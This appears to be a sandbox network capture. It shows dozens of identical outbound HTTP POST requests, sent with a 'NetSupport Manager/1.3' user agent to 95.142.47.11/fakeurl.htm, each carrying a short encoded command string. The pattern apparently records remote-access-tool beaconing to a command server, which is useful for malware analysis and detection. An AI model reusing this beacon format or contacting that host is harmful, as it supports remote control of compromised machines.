Dec 6, 2023 14:35:31.611740112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.712155104 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.812813997 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:31.914006948 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.014794111 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.115775108 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.215832949 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.316905975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.417774916 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.518754005 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.618829012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.718816042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.819761992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:32.920761108 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:33.020808935 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:33.121893883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:33.222771883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:33.423871040 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:33.524775982 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:33.626298904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:33.725756884 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:33.825810909 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:33.926750898 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.026774883 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.127770901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.227797985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.331943989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.432821989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.533827066 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.633812904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.734781981 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.834799051 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:34.934753895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.035798073 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.135833025 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.237210035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.342678070 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.443799019 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.544840097 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.645773888 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.746802092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.847791910 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:35.947741985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.048763037 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.148753881 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.249751091 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.349745989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.449980021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.550050020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.650753021 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.750775099 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.850775003 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:36.951764107 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.051767111 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.151751041 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.252743959 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.352787971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.453810930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.553745985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.755733013 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.856729031 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:37.956767082 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.057740927 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.157753944 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.258771896 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.359801054 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.460994005 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.560802937 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.661788940 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.762058020 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.862804890 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:38.963923931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.063750982 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.163798094 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.263770103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.364758968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.464740038 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.564763069 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.665756941 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.765769005 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.865864992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:39.965748072 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:40.065774918 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:40.166764975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:40.311232090 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:40.410738945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:40.511862040 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:40.611732006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:40.941200972 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:41.059503078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:41.160835981 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:41.360806942 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:41.461749077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
